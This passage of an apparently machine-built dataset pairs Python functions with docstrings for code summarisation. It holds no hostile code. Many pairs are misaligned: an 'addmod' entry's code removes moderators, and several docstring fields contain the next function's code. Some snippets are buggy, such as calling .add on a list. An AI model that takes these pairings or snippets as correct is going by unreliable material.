refresh_if_none=refresh_if_none)\n if obj:\n objs.append(obj)\n\n return objs\n", "nl": "Get a list of Predefined ServicesReturn a list of the instances of the services from the given names.Args:names (list): Names of the servicesrefresh_if_none (bool): Refresh the service(s) if it is not foundReturns:A list of all found ServiceObjects"} {"code": "def addmod(bot, event, *args):\n if not bot.get_config_option('mods'):\n return\n\n mods = bot.get_config_option('mods')\n mods_new = []\n for mod in mods:\n if args[0] != mod:\n mods_new.append(mod)\n\n bot.config.set_by_path([\"mods\"], mods_new)\n bot.config.save()\n html_message = _(\"Moderators updated: {} removed\")\n yield from bot.coro_send_message(event.conv, html_message.format(args[0]))", "nl": "add user id(s) to the whitelist of who can add to a hangoutmod_ids = list(args)if(bot.get_config_suboption(event.conv_id, 'mods') != None):for mod in bot.get_config_suboption(event.conv_id, 'mods'):mod_ids.append(mod)bot.config.set_by_path([\"mods\"], mod_ids)bot.config.save()html_message = _(\"Moderators updated: {} added\")yield from bot.coro_send_message(event.conv, html_message.format(args[0]))else:bot.config.set_by_path([\"mods\"], mod_ids)bot.config.save()html_message = _(\"Moderators updated: {} added\")yield from bot.coro_send_message(event.conv, html_message.format(args[0]))def delmod(bot, event, *args):remove user id(s) from the whitelist of who can add to a hangout"} {"code": "def test_GzipWriteFile(self):", "nl": "Test GzipWriteFilesize = 400 * 1000gwfh = GPGWriteFile_Helper()for i in range(10): # @UnusedVariablegpg.GzipWriteFile(gwfh, \"testfiles/output/gzwrite.gz\",size=size)# print os.stat(\"testfiles/output/gzwrite.gz\").st_size-sizeassert size - 64 * 1024 <= os.stat(\"testfiles/output/gzwrite.gz\").st_size <= size + 64 * 1024gwfh.set_at_end()gpg.GzipWriteFile(gwfh, \"testfiles/output/gzwrite.gz\", size=size)# print os.stat(\"testfiles/output/gzwrite.gz\").st_sizeclass GPGWriteHelper2:def __init__(self, data):self.data = dataclass GPGWriteFile_Helper:Used in test_GPGWriteFile above"} {"code": "def _add_tab(self, fnc):\n", "nl": "desc:Decorates tabwidget.add()"} {"code": "def execute(self, db_request: DatabaseRequest):\n with self.db.cursor() as cursor:\n _log.debug(cursor.mogrify(db_request.sql, db_request.args).decode())\n cursor.execute(db_request.sql, db_request.args)\n _log.debug(str(cursor.rowcount) + ' rows affected')\n return cursor.rowcount\n", "nl": "Fetch all or one row from the database.:param db_request: parameters used to determine how to fetch the data:return: the query results; will be a results object if a singletonselect was issued, a list of results objects otherwise."} {"code": "def _get_params_from_flags(flags_obj: flags.FlagValues):\n\n Loads the model weights and optimizer settings from a checkpoint.\n This function should be used in case of preemption recovery.\n\n Args:\n model: The model whose weights should be restored.\n model_dir: The directory where model weights were saved.\n train_steps: The number of steps to train.\n\n Returns:\n The epoch of the latest checkpoint, or 0 if not restoring.\n\n \"\"\"", "nl": "Get ParamsDict from flags.model = flags_obj.model_type.lower()dataset = flags_obj.dataset.lower()params = configs.get_config(model=model, dataset=dataset)flags_overrides = {'model_dir': flags_obj.model_dir,'mode': flags_obj.mode,'model': {'name': model,},'runtime': {'run_eagerly': flags_obj.run_eagerly,'tpu': flags_obj.tpu,},'train_dataset': {'data_dir': flags_obj.data_dir,},'validation_dataset': {'data_dir': flags_obj.data_dir,},'train': {'time_history': {'log_steps': flags_obj.log_steps,},},}overriding_configs = (flags_obj.config_file, flags_obj.params_override,flags_overrides)pp = pprint.PrettyPrinter()logging.info('Base params: %s', pp.pformat(params.as_dict()))for param in overriding_configs:logging.info('Overriding params: %s', param)params = hyperparams.override_params_dict(params, param, is_strict=True)params.validate()params.lock()logging.info('Final model parameters: %s', pp.pformat(params.as_dict()))return paramsdef resume_from_checkpoint(model: tf.keras.Model, model_dir: str,train_steps: int) -> int:Resumes from the latest checkpoint, if possible."} {"code": "def _metric_summary(self):\n\n return '\\n\\nMetrics : {}\\n\n ''.format(', '.join(self.metric_val.keys()), self._count,\n len(self._dataset_ids), self._metric_summary())\n\n", "nl": "for FYIif self._count > 0:summary = list()for metric, mdict in self.metric_val.items():summary.append('\\n{metric:<{mmw}}.format(metric=metric, mmw=self._max_width_metric))for ds, distr in mdict.items():median = np.nanmedian(distr)SD = np.nanstd(distr)summary.append('\\t{ds:>{mds}} '' : median {median:<7.4f} SD {SD:<7.4f}.format(ds=ds, median=median,SD=SD, mds=self._max_width_ds_ids))return '\\n'.join(summary)else:return 'No results added so far!'def __str__(self):Simple summary"} {"code": "def uCSIsUgaritic(code):\n UnifiedCanadianAboriginalSyllabics UCS Block \"\"\"", "nl": "Check whether the character is part of Ugaritic UCS Block ret = libxml2mod.xmlUCSIsUgaritic(code)return retdef uCSIsUnifiedCanadianAboriginalSyllabics(code):Check whether the character is part of"} {"code": "def get_domain_metadata(metadata, domain, is_training=True):\n if domain == 'text':\n class_num = metadata.get_output_size()\n num_examples = metadata.size()\n channel_to_index_map = metadata.get_channel_to_index_map()\n revers_map = {v: k for k, v in channel_to_index_map.items()}\n tokens = [revers_map[int(id)] for id in range(100)]\n language = 'ZH' if is_chinese(tokens) else 'EN'\n time_budget = 1200\n\n domain_metadata = {}\n domain_metadata['class_num'] = class_num\n if is_training:\n domain_metadata['train_num'] = num_examples\n domain_metadata['test_num'] = -1\n else:\n domain_metadata['train_num'] = -1\n domain_metadata['test_num'] = num_examples\n domain_metadata['language'] = language\n domain_metadata['time_budget'] = time_budget\n\n return domain_metadata\n\n else:\n return metadata", "nl": "Recover the metadata in corresponding competitions, esp. AutoNLPand AutoSpeech.Args:metadata: an AutoDLMetadata object.domain: str, can be one of 'image', 'video', 'text', 'speech' or 'tabular'."} {"code": "def directory(self, directory):\n\n self._directory = directory\n\n @property", "nl": "Sets the directory of this V1GitRepoVolumeSource.Target directory name. Must not contain or start with '..'. If '.' is supplied, the volume directory will be the git repository. Otherwise, if specified, the volume will contain the git repository in the subdirectory with the given name. # noqa: E501:param directory: The directory of this V1GitRepoVolumeSource. # noqa: E501:type: str"} {"code": "def __init__(self, *args, **kwargs):\n X_p = self.tfidf.transform(X)\n return super().predict(X_p)\n\n\nclass TfidfModelGridSearch(TfidfModel, GridSearch):\n pass\n\n\n@Registry.register_experiment(\n ModeKeys.CLASSIFY, requirements=[(\"Featurizer\", \"PlainTextFeaturizer\")]\n)\nclass TfidfLogisticRegression(TfidfModelGridSearch):", "nl": "Initialize internal classifier.super().__init__(*args, **kwargs)self.base_model = Noneself.param_grid = {}self.tfidf = TfidfVectorizer(lowercase=True,analyzer=\"word\",stop_words=\"english\",max_features=7500,ngram_range=(1, 3),dtype=np.float32,min_df=2,)def fit(self, X, y):self.tfidf.fit(list(set(X)))X_p = self.tfidf.transform(X).todense()super().fit(X_p, y)def predict(self, X, **kwargs):Predict results on test set based on current internal model."} {"code": "def clear(self):\n self.hdfs.rm(self.root, recursive=True)\n self.hdfs.mkdir(self.root)\n", "nl": "Remove all keys below root - empties out mapping"} {"code": "def update_top_pos(self, increase=0, decrease=0, set_position=None):\n if set_position is not None:\n self._current_top_position = set_position\n else:\n self._current_top_position += increase\n self._current_top_position -= decrease\n\n return self._current_top_position\n", "nl": "Updates the current top position controller, increasing (by default),decreasing or setting it with a new value."} {"code": "def _mirrorStructure(dictionary, value):\n result = type(dictionary)()\n for k in dictionary.keys():\n if isinstance(dictionary[k], dict):\n result[k] = _mirrorStructure(dictionary[k], value)\n else:\n result[k] = value\n return result\n", "nl": " create a new nested dictionary object with the same structure as'dictionary', but with all scalar values replaced with 'value'"} {"code": "def walk_revctrl(dirname=''):\n\n user_options = [\n ('formats=', None,\n \"formats for source distribution (comma-separated list)\"),\n ('keep-temp', 'k',\n \"keep the distribution tree around after creating \" +\n \"archive file(s)\"),\n ('dist-dir=', 'd',\n \"directory to put the source distribution archive(s) in \"", "nl": "Find all files under revision controlfor ep in pkg_resources.iter_entry_points('setuptools.file_finders'):for item in ep.load()(dirname):yield itemclass sdist(sdist_add_defaults, orig.sdist):Smart sdist that finds anything supported by revision control"} {"code": "def _get_subscriber(self):\n pub_sub_driver = df_utils.load_driver(\n cfg.CONF.df.pub_sub_driver,\n df_utils.DF_PUBSUB_DRIVER_NAMESPACE)\n return pub_sub_driver.get_subscriber()\n", "nl": "Return the subscriber for inter-process communication. If multi-proccommunication is not use (i.e. disabled from config), return None."} {"code": "def _retrieve_column_partition(self, bdb, generator_id, modelno):\n cross_cat = self._get_cross_cat(bdb, generator_id, modelno)\n return dict(itertools.chain.from_iterable([\n [(loom_rank, k) for loom_rank in kind.featureids]\n for k, kind in enumerate(cross_cat.kinds)\n ]))\n", "nl": "Return column partition from a CrossCat model.The returned structure is of the form `cgpm.crosscat.state.State.Zv`."} {"code": "def _register_agent(self) -> None:\n strategy = cast(AggregationStrategy, self.context.strategy)\n description = strategy.get_register_service_description()\n self._register(description, \"registering agent's service on the SOEF.\")\n", "nl": "Register the agent's location.strategy = cast(AggregationStrategy, self.context.strategy)description = strategy.get_location_description()self._register(description, \"registering agent on SOEF.\")def register_service(self) -> None:Register the agent's service."} {"code": "def _flip_masks_up_down(masks):\n return masks[:, ::-1, :]\n\n", "nl": "Up-down flip masks.Args:masks: rank 3 float32 tensor with shape[num_instances, height, width] representing instance masks.Returns:flipped masks: rank 3 float32 tensor with shape[num_instances, height, width] representing instance masks."} {"code": "def get_current_losses(self):\n loss = self.loss_sum\n loss.backward()\n", "nl": "Return traning losses / errors. train.py will print out these errors on console, and save them to a fileerrors_ret = OrderedDict()for name in self.loss_names:if isinstance(name, str):errors_ret[name] = float(getattr(self, 'loss_' + name)) # float(...) works for both scalar tensor and float numberif not self.netHG.training:errors_ret.update(self.eval_outputs)return errors_ret@torch.no_grad()def compute_visuals(self, n_vis=5):stacks_to_show = [-1]n_vis = min(n_vis, self.img.shape[0])self.vis_dict = defaultdict(list)theme = 'black'for s in stacks_to_show:output = self.outputs[s]for i in range(n_vis):img = np.array(Image.open(self.img_path[i]).convert('RGB'))pred = gen_colormap(output['hm'][i].squeeze(1).detach().cpu().numpy(), theme=theme)gt = gen_colormap(self.hms[i].detach().cpu().numpy(), theme=theme)self.vis_dict['img'].append(img)self.vis_dict['hm_pred'].append(blend_img(img, pred, theme=theme))self.vis_dict['hm_gt'].append(blend_img(img, gt, theme=theme))if not self.netHG.training:hm_pred_sep = []for j in range(self.hms[i].shape[0]):pred_sep = gen_colormap(output['hm'][i][[j]].squeeze(1).detach().cpu().numpy(), theme=theme)hm_pred_sep.append(blend_img(img, pred_sep))self.vis_dict['hm_pred_sep'].append(hm_pred_sep)pred_mask = expand_mask(output['mask'][i].squeeze(1).detach().argmax(0)).cpu().numpy()pred = gen_colormap(pred_mask, theme=theme)gt = gen_colormap(expand_mask(self.masks[i].detach()).cpu().numpy(), theme=theme)self.vis_dict['mask_pred'].append(blend_img(img, pred, theme=theme))self.vis_dict['mask_gt'].append(blend_img(img, gt, theme=theme))if self.opt.predict_masks:if self.masks_inst is None:self.compute_instance_masks()instance = gen_colormap(expand_mask(self.masks_inst[i]).cpu().numpy(), theme=theme)self.vis_dict[f'mask_pred_instance'].append(blend_img(img, instance, theme=theme))instance_gt = gen_colormap(expand_mask(self.masks_inst_gt[i]).cpu().numpy(), theme=theme)self.vis_dict[f'mask_gt_instance'].append(blend_img(img, instance_gt, theme=theme))def get_current_visuals(self):return self.vis_dictdef backward(self):Calculate losses, gradients, and update network weights; called in every training iteration"} {"code": "def append_row(self, row):\n self.rows.append( row )\n\n @property", "nl": " Add a new row to the table.>>> t = Table()>>> t.append_column(\"FirstName\")>>> t.append_column(\"LastName\")>>> t.append_row( [\"Curtis\", \"Lassam\"] )>>> print tFirstName | LastNameCurtis | Lassam"} {"code": "def ip_network(address, strict=True):\n try:\n return IPv4Network(address, strict)\n except (AddressValueError, NetmaskValueError):\n pass\n\n try:\n return IPv6Network(address, strict)\n except (AddressValueError, NetmaskValueError):\n pass\n\n raise ValueError('%r does not appear to be an IPv4 or IPv6 network' %\n address)\n\n", "nl": "Take an IP string/int and return an object of the correct type.Args:address: A string or integer, the IP network. Either IPv4 orIPv6 networks may be supplied; integers less than 2**32 willbe considered to be IPv4 by default.Returns:An IPv4Network or IPv6Network object.Raises:ValueError: if the string passed isn't either a v4 or a v6address. Or if the network has host bits set."} {"code": "def compute_inverse_kinematics(ik_fn, pose, sampled=[]):\n pos = point_from_pose(pose)\n rot = matrix_from_quat(quat_from_pose(pose)).tolist()\n if sampled:\n solutions = ik_fn(list(pos), list(rot), sampled)\n else:\n solutions = ik_fn(list(pos), list(rot))\n if solutions is None:\n return []\n return solutions\n\n", "nl": "compute ik solutions using the given ik function handleParameters----------ik_fn : function handleget_ik(point, rot) : list of jt solutionspoint = [x,y,z]rot = 3x3 rotational matrix as a row-major listpose : pybullet posepose of the ik tool linksampled : lista list of externally sampled solutions that wants to be appended to thecomputed ik solutionsReturns-------a list of 6-listsa list of ik solutions"} {"code": "def test_get_Y_priority():\n assert get_chromosome_priority(chrom='MT', chrom_dict={}) == '25'\n", "nl": "docstring for test_get_Y_priorityassert get_chromosome_priority(chrom='Y', chrom_dict={}) == '24'def test_get_MT_priority():docstring for test_get_MT_priority"} {"code": "def __str__(self):\n\n return str(self._data)\n\n", "nl": ":purpose:\tBuilt-in method. Handles conversion of this object's data to a string.:returns:\tstr"} {"code": "def test_fake_user_id(self):\n user = UserFactory.create()\n taskruns = TaskRunFactory.create_batch(3, user=user)\n fake_ips = []\n user_id = user.id\n assert taskruns[0].user_id == user.id\n self.user_repo.delete(user)\n for taskrun in taskruns:\n taskrun = self.task_repo.get_task_run_by(id=taskrun.id)\n assert taskrun.user_id is None\n assert taskrun.user_ip is not None\n fake_ips.append(taskrun.user_ip)\n assert len(set(fake_ips)) == 3\n user = self.user_repo.get_by(id=user_id)\n assert user is None", "nl": "Test remove user ID works and it's replaced by a fake IP.user = UserFactory.create()taskruns = TaskRunFactory.create_batch(3, user=user)fake_ips = []assert taskruns[0].user_id == user.idself.user_repo.fake_user_id(user)for taskrun in taskruns:taskrun = self.task_repo.get_task_run_by(id=taskrun.id)assert taskrun.user_id is Noneassert taskrun.user_ip is not Nonefake_ips.append(taskrun.user_ip)assert len(set(fake_ips)) == 3@with_contextdef test_delete_user_with_task_runs(self):Delete user with task runs works."} {"code": "def lsb_release_attr(attribute):\n return _distro.lsb_release_attr(attribute)\n\n", "nl": "Return a single named information item from the lsb_release command outputdata source of the current Linux distribution.Parameters:* ``attribute`` (string): Key of the information item.Returns:* (string): Value of the information item, if the item exists.The empty string, if the item does not exist.See `lsb_release command output`_ for details about these informationitems."} {"code": "def selu(x, alpha=1.6733, lam=1.0507):\n return lam * torch.where(x > 0, x, alpha * torch.expm1(x))\n\n", "nl": " Scaled Exponential Linear UnitSee \"Self-Normalizing Neural Networks\" Klambauer, Unterthiner, Mayrand Hocreiter. https://arxiv.org/pdf/1706.02515.pdfArgs:alpha: Exponential scaling parameter, see paper for details.lam: Scaling parameter, see paper for details."} {"code": "def inverse_transform(self, X: pd.DataFrame) -> pd.DataFrame:\n check_is_fitted(self)\n\n X = check_X(X)\n\n if self.transformer_.__class__.__name__ not in _INVERSE_TRANSFORM:\n raise NotImplementedError(\n \"The method `inverse_transform` is not implemented for this \"\n \"transformer. Supported transformers are {}.\".format(\n \", \".join(_INVERSE_TRANSFORM)\n )\n )\n if hasattr(self.transformer_, \"inverse_transform\") and callable(\n self.transformer_.inverse_transform\n ):\n X[self.variables_] = self.transformer_.inverse_transform(X[self.variables_])\n else:\n raise NotImplementedError(\n \"This Scikit-learn transformer does not have the method \"\n \"`inverse_transform` implemented.\"\n )\n return X\n", "nl": "Convert the transformed variables back to the original values. Onlyimplemented for the following Scikit-learn transformers:PowerTransformer, QuantileTransformer, OrdinalEncoder,MaxAbsScaler, MinMaxScaler, StandardScaler, RobustScaler.If you would like this method implemented for additional transformers,please check if they have the inverse_transform method in Scikit-learn and thenraise an issue in our repo.Parameters----------X: pandas dataframe of shape = [n_samples, n_features].The transformed dataframe.Returns-------X_tr: pandas dataframe of shape = [n_samples, n_features].The dataframe with the original values."} {"code": "def GetConfigFromParams(params):\n\n Shapes of the input_batch and output are dependent on the implementation\n and should be paired with the model's input format and encoder expectations.\n\n Args:\n theta: A NestedMap object containing weights' values of this layer and its\n children layers.\n input_batch: A NestedMap with fields: - 'src_inputs' - The inputs tensor,\n compatible with model input. Expected to be of shape [batch, time, ...].\n - 'paddings' - The paddings tensor. It is expected to be of shape\n [batch, time].\n\n Returns:\n NestedMap of encoder inputs which can be passed directly to a\n compatible encoder and contains:\n\n - 'src_inputs': inputs to the encoder, minimally of shape\n [batch, time, ...].\n - 'paddings': a 0/1 tensor of shape [batch, time].\n \"\"\"\n\n @staticmethod", "nl": "Returns an AsrFrontendConfig namedtuple with vital config settings.raise NotImplementedError()def FProp(self, theta, input_batch):Generates ASR features for a batch."} {"code": "def verifyBuilt(self):\n htmlDir = self.sphinxDir.sibling('doc')\n self.assertTrue(htmlDir.isdir())\n doctreeDir = htmlDir.child(\"doctrees\")\n self.assertFalse(doctreeDir.exists())\n\n self.verifyFileExists(htmlDir, 'index.html')\n self.verifyFileExists(htmlDir, 'genindex.html')\n self.verifyFileExists(htmlDir, 'objects.inv')\n self.verifyFileExists(htmlDir, 'search.html')\n self.verifyFileExists(htmlDir, 'searchindex.js')\n\n", "nl": "Verify that a sphinx project has been built."} {"code": "def hcolor(data, thresholds):\n ret = []\n for info, value in data:\n newval = []\n minover = None\n maxt = 0\n for t in thresholds:\n if maxt < t:\n maxt = t\n if value > t:\n newval.append((t, thresholds[t]))\n else:\n if minover is None or minover > t:\n minover = t\n if minover is None:\n minover = maxt\n\n newval.append((value, thresholds[minover]))\n ret.append((info, newval))\n return ret", "nl": " Multicolor a graph according to thresholds:param data: the data:type data: list of tuples (info, value):param thresholds: dict of thresholds, format{: ,}:type thresholds: dict:return: the colored graph:rtype: list of arrays"} {"code": "def expovariate(self, lambd):\n\n return -_log(1.0 - self.random())/lambd\n\n", "nl": "Exponential distribution.lambd is 1.0 divided by the desired mean. It should benonzero. (The parameter would be called \"lambda\", but that isa reserved word in Python.) Returned values range from 0 topositive infinity if lambd is positive, and from negativeinfinity to 0 if lambd is negative."} {"code": "def __eq__(self, other):\n if not isinstance(other, V1PreferredSchedulingTerm):\n return True\n\n return self.to_dict() != other.to_dict()", "nl": "Returns true if both objects are equalif not isinstance(other, V1PreferredSchedulingTerm):return Falsereturn self.to_dict() == other.to_dict()def __ne__(self, other):Returns true if both objects are not equal"} {"code": "def test_socketTypeToAddressType(self):\n receiver = ResultHolder(self)\n flowInfo = 1\n scopeID = 2\n for socktype in SOCK_STREAM, SOCK_DGRAM:\n self.getter.addResultForHost(\n \"example.com\", (\"::1\", 0, flowInfo, scopeID), family=AF_INET6,\n socktype=socktype\n )\n self.getter.addResultForHost(\n \"example.com\", (\"127.0.0.3\", 0), family=AF_INET,\n socktype=socktype\n )\n self.resolver.resolveHostName(receiver, u\"example.com\")\n self.doThreadWork()\n self.doReactorWork()\n stream4, stream6, dgram4, dgram6 = receiver._addresses\n self.assertEqual(stream4.type, 'TCP')\n self.assertEqual(stream6.type, 'TCP')\n self.assertEqual(dgram4.type, 'UDP')\n self.assertEqual(dgram6.type, 'UDP')\n\n\n\n@implementer(IResolverSimple)\nclass SillyResolverSimple(object):\n \"\"\"", "nl": "When L{GAIResolver} receives a C{SOCK_DGRAM} result fromC{getaddrinfo}, it returns a C{'TCP'} L{IPv4Address} or L{IPv6Address};if it receives C{SOCK_STREAM} then it returns a C{'UDP'} type of same."} {"code": "def split_heads(self, x, batch_size):\n x = tf.reshape(x, (batch_size, -1, self.num_heads, self.depth))\n return tf.transpose(x, perm=[0, 2, 1, 3])\n", "nl": "Split the last dimension into (num_heads, depth).Transpose the result such that the shape is (batch_size, num_heads, seq_len, depth)"} {"code": "def get_for(cls, user, phone):\n return cls.query.filter_by(user=user, phone=phone).one_or_none()\n\n\nclass UserPhoneClaim(BaseMixin, db.Model):\n __tablename__ = 'user_phone_claim'\n user_id = db.Column(None, db.ForeignKey('user.id'), nullable=False)\n user = db.relationship(\n User,\n primaryjoin=user_id == User.id,\n backref=db.backref('phoneclaims', cascade='all, delete-orphan'),\n )\n _phone = db.Column('phone', db.UnicodeText, nullable=False, index=True)", "nl": "Return a UserPhone with matching phone number if it belongs to the given user:param User user: User to check against:param str phone: Phone number to lookup (must be an exact match)"} {"code": "def parse_product_path(path: str) -> Dict[str, str]:\n return (\n \"projects/{project}/locations/{location}/productSets/{product_set}\".format(\n project=project,\n location=location,\n product_set=product_set,\n )\n )\n\n @staticmethod", "nl": "Parses a product path into its component segments.m = re.match(r\"^projects/(?P.+?)/locations/(?P.+?)/products/(?P.+?)$\",path,)return m.groupdict() if m else {}@staticmethoddef product_set_path(project: str,location: str,product_set: str,) -> str:Returns a fully-qualified product_set string."} {"code": "def date_json_handler(obj):\n if isinstance(obj, date):\n return obj.isoformat()\n else:\n raise ValueError\n\n", "nl": "Like the unknown_object_json_handler, this only manipulates dates to workwith json.dumps().:param obj: date object that json is trying to convert:returns: converted object"} {"code": "def complex_filter(self, filter_obj):\n if isinstance(filter_obj, Q) or hasattr(filter_obj, 'add_to_query'):\n clone = self._clone()\n clone.query.add_q(filter_obj)\n return clone\n else:\n return self._filter_or_exclude(None, **filter_obj)\n", "nl": "Returns a new QuerySet instance with filter_obj added to the filters.filter_obj can be a Q object (or anything with an add_to_query()method) or a dictionary of keyword lookup arguments.This exists to support framework features such as 'limit_choices_to',and usually it will be more natural to use other methods."} {"code": "def _dep_map(self):\n try:\n return self.__dep_map\n except AttributeError:\n self.__dep_map = self._filter_extras(self._build_dep_map())\n return self.__dep_map\n\n @staticmethod", "nl": "A map of extra to its list of (direct) requirementsfor this distribution, including the null extra."} {"code": "def deepcopy(x, memo=None, _nil=[]):\n\n if memo is None:\n memo = {}\n\n d = id(x)\n y = memo.get(d, _nil)\n if y is not _nil:\n return y\n\n cls = type(x)\n\n copier = _deepcopy_dispatch.get(cls)\n if copier:\n y = copier(x, memo)\n else:\n try:\n issc = issubclass(cls, type)\n except TypeError:\n issc = 0\n if issc:\n y = _deepcopy_atomic(x, memo)\n else:\n copier = getattr(x, \"__deepcopy__\", None)\n if copier:\n y = copier(memo)\n else:\n reductor = dispatch_table.get(cls)\n if reductor:\n rv = reductor(x)\n else:\n reductor = getattr(x, \"__reduce_ex__\", None)\n if reductor:\n rv = reductor(2)\n else:\n reductor = getattr(x, \"__reduce__\", None)\n if reductor:\n rv = reductor()\n else:\n raise Error(\n \"un(deep)copyable object of type %s\" % cls)\n y = _reconstruct(x, rv, 1, memo)\n\n memo[d] = y\n _keep_alive(x, memo)\n return y\n\n_deepcopy_dispatch = d = {}\n", "nl": "Deep copy operation on arbitrary Python objects.See the module's __doc__ string for more info."} {"code": "def set_value(self, value, borrow=False):\n if not borrow:\n if not isinstance(value, numpy.ndarray):\n value = copy.deepcopy(value)\n self.container.value = value\n", "nl": "Assign `value` to the GPU-allocated array.Parameters----------borrow : bool``True`` permits reusing `value` itself, ``False`` requires thatthis function copies `value` into internal storage.Notes-----Prior to Theano 0.3.1, set_value did not work in-place on the GPU. Thismeant that sometimes, GPU memory for the new value would be allocatedbefore the old memory was released. If you're running near the limits ofGPU memory, this could cause you to run out of GPU memory.Beginning with Theano 0.3.1, set_value will work in-place on the GPU, ifthe following conditions are met:* The destination on the GPU must be c_contiguous.* The source is on the CPU.* The old value must have the same dtype as the new value(which is a given for now, since only float32 issupported).* The old and new value must have the same shape.* The old value is being completely replaced by the newvalue (not partially modified, e.g. by replacing somesubtensor of it).* You change the value of the shared variable viaset_value, not via the .value accessors. You should notuse the .value accessors anyway, since they will soon bedeprecated and removed.It is also worth mentioning that, for efficient transfer to the GPU,Theano will make the new data ``c_contiguous``. This can require anextra copy of the data on the host.The inplace on gpu memory work when borrow is either True or False."} {"code": "def get_adjacent_vertices(self, v):\n if v >= self.num_vertices or v < 0:\n raise ValueError('invalid vertex number')\n\n adjacent_vertices_list = []\n for i in range(self.num_vertices):\n if self.adjacency_matrix[v][i]:\n adjacent_vertices_list.add(i)\n\n return sorted(adjacent_vertices_list)", "nl": "Given v, return list of adjacent vertices.:param v: int:return: list of ints"} {"code": "def get_sarimax_extension_list(self, results):\n extensions = list()\n extensions.append(Extension(name=\"sigmaSquare\", value = results._params_variance[0]))\n extensions.append(Extension(name=\"cov_type\", value = results.cov_type))\n extensions.append(Extension(name=\"approx_complex_step\", value = results._cov_approx_complex_step))\n extensions.append(Extension(name=\"approx_centered\", value = results._cov_approx_centered))\n return extensions\n", "nl": "Create Extension for SARIMAX objectParameters:-----------results: statsmodels model objectStatsmodels trained modelReturns:--------extensions : listA list of Extension object"} {"code": "def not_none(self, keys: t.Optional[Keys] = None) -> 'Validate':\n keys = Validate.format_keys(keys)\n bad_keys: t.List[str] = [key for key in keys if self.config.get(key, None) is None]\n if len(bad_keys) > 0:\n raise ConfigurationError(f\"Parameters must present and not be None: {bad_keys}.{self._namespace_msg()}\")\n return self\n", "nl": "Check all values are not Nones.Args:keys: List of keys that must not contain None values. Keys that contain None values are equivalent to keysthat do not exist in dictionary - all trigger fail check."} {"code": "def hexdigest(self):\n\n return ''.join(['%02x' % ord(c) for c in self.digest()])\n", "nl": "Terminate and return digest in HEX form.Like digest() except the digest is returned as a string oflength 32, containing only hexadecimal digits. This may beused to exchange the value safely in email or other non-binary environments."} {"code": "def test_bulk_delete_no_nodes(self):\n response, body = _bulk_delete(\n self, self.root, self.uri, self.lb_id, [])\n self.assertEqual(response.code, 400)\n self.assertEqual(\n body,\n {'code': 400,\n 'message': \"Must supply one or more id's to process this request.\"})\n", "nl": "When deleting multiple nodes but not giving any node IDs, a specialerror is returned."} {"code": "def __eq__(self, other):\n required method of a subclass.\"\"\"", "nl": "Equality is true only if reset, or if attributes, fg, and bg match.if type(self) == type(other):if self.isreset:return other.isresetreturn (self.attributes == other.attributesand self.fg == other.fgand self.bg == other.bg)return str(self) == other@abstractmethoddef __str__(self):Base Style does not implement a __str__ representation. This is the one"} {"code": "def imread(img_or_path, flag='color'):\n if isinstance(img_or_path, np.ndarray):\n return img_or_path\n elif is_str(img_or_path):\n flag = imread_flags[flag] if is_str(flag) else flag\n check_file_exist(img_or_path,\n 'img file does not exist: {}'.format(img_or_path))\n return cv2.imread(img_or_path, flag)\n else:\n raise TypeError('\"img\" must be a numpy array or a filename')\n\n", "nl": "Read an image.Args:img_or_path (ndarray or str): Either a numpy array or image path.If it is a numpy array (loaded image), then it will be returnedas is.flag (str): Flags specifying the color type of a loaded image,candidates are `color`, `grayscale` and `unchanged`.Returns:ndarray: Loaded image array."} {"code": "def irc_USERHOST(self, prefix, params):\n pass\n\n", "nl": "Userhost messageParameters: *( SPACE )[Optional]"} {"code": "def test_lti_consumer_api_get_context_without_user_id(self):\n response = self.client.get(\n \"/api/v1.0/plugins/lti-consumer/15003/context/\", follow=True\n )\n self.assertEqual(response.status_code, 400)\n self.assertEqual(\n json.loads(response.content), {\"user_id\": [\"This parameter is required.\"]}\n )\n\n @override_settings(\n CACHES={", "nl": "Making a context API request without providing user_id should return a 400 response"} {"code": "defined after C{other}, otherwise C{False}.", "nl": "if (not isinstance(other, self.__class__) ornot self._container == other._container):return NotImplementedreturn self._index > other._indexdef __ge__(self, other):"} {"code": "def parse_mime_version(value):\n mime_version = MIMEVersion()\n if not value:", "nl": " mime-version = [CFWS] 1*digit [CFWS] \".\" [CFWS] 1*digit [CFWS]"} {"code": "def train_batch(self, batch_scene, batch_scene_goal, batch_split):\n\n if self.obs_dropout:\n self.start_length = random.randint(0, self.obs_length - 2)\n\n observed = batch_scene[self.start_length:self.obs_length].clone()\n prediction_truth = batch_scene[self.obs_length:self.seq_length-1].clone()\n targets = batch_scene[self.obs_length:self.seq_length] - batch_scene[self.obs_length-1:self.seq_length-1]\n\n rel_outputs, _, z_distr_xy, z_distr_x = self.model(observed, batch_scene_goal, batch_split, prediction_truth)\n\n reconstr_loss = 0\n for rel_outputs_mode in rel_outputs:\n reconstr_loss += self.criterion(rel_outputs_mode[-self.pred_length:], targets, batch_split) * self.batch_size\n reconstr_loss = reconstr_loss / self.model.num_modes\n\n kld_loss = self.kld_loss(z_distr_xy, batch_split, z_distr_x) * self.batch_size\n\n loss = reconstr_loss + self.alpha_kld * kld_loss\n\n self.optimizer.zero_grad()\n loss.backward()\n self.optimizer.step()\n\n return reconstr_loss.item()\n", "nl": "Training of B batches in parallel, B : batch_sizeParameters----------batch_scene : Tensor [seq_length, num_tracks, 2]Tensor of batch of scenes.batch_scene_goal : Tensor [num_tracks, 2]Tensor of goals of each track in batchbatch_split : Tensor [batch_size + 1]Tensor defining the split of the batch.Required to identify the tracks of to the same sceneReturns-------loss : scalarTraining loss of the batch"} {"code": "def xpathSubValues(self):\n libxml2mod.xmlXPathSubValues(self._o)\n", "nl": "Implement the subtraction operation on XPath objects: Thenumeric operators convert their operands to numbers as ifby calling the number function. "} {"code": "def write_manifest(self):\n self.filelist._repair()\n\n files = [self._manifest_normalize(f) for f in self.filelist.files]\n msg = \"writing manifest file '%s'\" % self.manifest\n self.execute(write_file, (self.manifest, files), msg)\n", "nl": "Write the file list in 'self.filelist' to the manifest filenamed by 'self.manifest'."} {"code": "def setUp(self):\n corpus = corpus_manager.FuzzTargetCorpus('libFuzzer', 'fuzzer')\n self.assertTrue(corpus.rsync_to_disk('/dir', timeout=60))\n self.assertEqual(self.mock.Popen.call_args[0][0], [\n '/gsutil_path/gsutil',\n '-m',\n '-q',\n 'rsync',\n '-r',\n '-d',\n 'gs://bucket/libFuzzer/fuzzer/',\n '/dir',\n ])\n", "nl": "Setup for fuzz target corpus test.test_helpers.patch_environ(self)os.environ['GSUTIL_PATH'] = '/gsutil_path'os.environ['CORPUS_BUCKET'] = 'bucket'test_helpers.patch(self, 